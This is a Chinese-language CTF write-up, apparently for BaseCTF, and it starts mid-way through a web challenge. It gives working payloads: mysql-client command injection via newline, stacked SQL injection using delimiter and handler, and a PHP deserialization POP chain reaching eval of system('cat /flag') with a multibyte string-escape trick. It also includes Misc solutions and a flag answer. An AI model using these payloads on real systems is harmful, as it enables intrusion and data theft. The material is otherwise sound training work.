$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

mysql命令行程序的命令执行, 输入一个 ? 可以查看到一些帮助信息, 显示有system 命令, 直接利用进行rce

(应该跟版本有关, 我本地不存在system命令)

通过换行符绕过注释

?sql=%0asystem env

[Fin] Sql Inject or RCE

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
    die("你知道的，不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的，不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

?sql=%0ashow tables
?sql=%0ashow columns from flag
看到表名和列名

利用delimiter 关键字, 可以修改sql语句的结束符, 从而可以打堆叠注入

利用 handler 关键字读取表的内容

payload:
?sql=%0adelimiter >>%0ahandler flag open>>handler flag read next>>

[Fin] ez_php

<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker！';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

if(isset($_GET['ez_ser.from_you'])){
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
    if(preg_match("/\[|\]/i", $_GET['substr'])){
        die("NONONO!!!");
    }
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
    $a = unserialize($ser_ctf);
    throw new Exception("杂鱼~杂鱼~");
}

调用链子:

Hacker::__destruct-->C::__toString-->T::__call-->F::__get-->E::__isset-->R__invoke

需要绕过__wakeup, 版本的问题, 没办法直接通过修改序列化字符串中属性的数量绕过, 所以肯定会执行到__wakeup里面去 , 但是需要链子能够执行下去, username 需要被赋值为 C类的实例化对象,

所以通过 &引用绕过, $a->end=&$a->username; 修改 end的值也就会修改username的值, 然后end的值是被start所赋值的, 所以就需要让 start=new C();

构造pop链

<?php
highlight_file(__file__);
class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker！';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}
$a=new Hacker();
$a->end=&$a->username;
$a->start=new C();
$a->start->c=new T();
$a->start->c->t=new F();
$a->start->c->t->f=new E();
$a->start->c->t->f->e=new R();
$a->start->c->t->f->e->r=system("whoami");
$b=array("a"=>$a,"b"=>null); //gc回收机制绕过, 将序列化最后的的b改为a
echo serialize($b);

//a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"b";N;}

将后面的b改为a绕过throw new Exception

a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"a";N;}

还有php变量名传参问题

传参 ez[ser.from_you 即可绕过

最后的逃逸问题
mb_strpos与mb_substr执行差异导致的漏洞

简单说就是

%9f可以造成字符串往后移动一位，因为它不解析，%f0可以把字符串吞掉前三位
%f0配合任意的三个字符结合%9f就可以达到字符串逃逸
具体可以看:https://www.cnblogs.com/gxngxngxn/p/18187578

在传入了序列化后, 要进行的反序列的$ser_ctf变成了

前后都多了一些东西, 需要将前面多出来的东西去掉, 后面的不管
前面多出来了38个字符, 
通过传参:(本地尝试一下)
substr=%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%9f
可以去掉前面38个字符

最终payload

?substr=%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%9f
&ez[ser.from_you=a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system("cat /flag");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"a";N;}

Misc

[Week1] 你也喜欢圣物吗

010打开, 最下面有一段base64加密

DO_YOU_KNOW_EZ_LSB?

lsb隐写, stegsolve工具解开, 得到key: lud1_lud1

解密打开, 又存在一个flag.txt的伪加密, 010打开, 14 00 09 00 改为 14 00 00 00

打开flag.txt可以发现是一个假的flag, 找半天, 其实真的flag就在这个文件内容的下面, base64两次解密就行

[Week1] 海上遇到了鲨鱼

wireshark工具打开, 导出对象 --> http , 存在一个flag.php文件, 打开是反过来的flag, 写个python小脚本将其反过来就行

[Week1] Base

先一个base32然后再一个base64

[Week1] 人生苦短，我用Python

import base64
import hashlib

def abort(id):
    print('You failed test %d. Try again!' % id)
    exit(1)

print('Hello, Python!')
flag = input('Enter your flag: ')

if len(flag) != 38:
    abort(1)

if not flag.startswith('BaseCTF{'):
    abort(2)

if flag.find('Mp') != 10:
    abort(3)

if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':  # 3x}
    abort(4)

if ord(flag[-1]) != 125:
    abort(5)

if flag.count('_') // 2 != 2:  # 4个_
    abort(6)

if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
    abort(7)

if flag[12:32:4] != 'lsT_n':
    abort(8)

if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
    abort(9)

if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024: # 4
    abort(10)

if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':    # 0mPl
    abort(11)

if flag[::-7].encode().hex() != '7d4372733173':   #}Crs1s
    abort(12)

if set(flag[12::11]) != {'l', 'r'}:
    abort(13)

if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):  #t3r_Th
    abort(14)

if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610: #_Be
    abort(15)

if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
    abort(16)

if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':  # 3 1
    abort(17)

if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
    abort(18)

print('🎉 You are right!')
import this


# BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

最后两道还不会, 先暂且放着

参考官方wp

https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh